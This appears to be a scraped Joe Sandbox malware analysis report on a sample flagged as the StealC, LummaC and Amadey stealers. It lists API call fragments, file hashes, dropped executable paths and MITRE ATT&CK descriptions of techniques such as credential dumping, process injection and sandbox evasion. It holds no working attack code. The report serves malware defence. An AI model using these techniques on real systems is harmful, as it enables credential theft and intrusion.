FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 009D236C
PostMessageW.USER32(00000000), ref: 009D2373

Part of subcall function 009AE97B: Sleep.KERNEL32 ref: 009AE9F3

Strings

Shell_TrayWnd, xrefs: 009D2365

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ab249cbf6d38dd6cea38df731929c9df0697165c11c44fc26b041f3935118e96
Instruction ID: 8e71b255eb027708797010872c431d50f509a7661628b8667a76ac8bfa48116f
Opcode Fuzzy Hash: ab249cbf6d38dd6cea38df731929c9df0697165c11c44fc26b041f3935118e96
Instruction Fuzzy Hash: 30D0C9723DA3117AEA64A770AC0FFC67658AB45B14F4049167645AA1D0C9A0A841DA58

Function 0097BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0097BE93
GetLastError.KERNEL32 ref: 0097BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0097BEFC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: e5bbde7951155bdc195a9bc1979ef32cb62d0febf8df689639c2f604d3b655ea
Instruction ID: 8ede2e6271163925de59021ba8091ed702944dd4615cdf2fe0e190c3c2fa879d
Opcode Fuzzy Hash: e5bbde7951155bdc195a9bc1979ef32cb62d0febf8df689639c2f604d3b655ea
Instruction Fuzzy Hash: C441E736605216EFDF219F64CC54BBA7BA9EF41B10F14816AF96D972A1DB308D00DF50

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe

C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre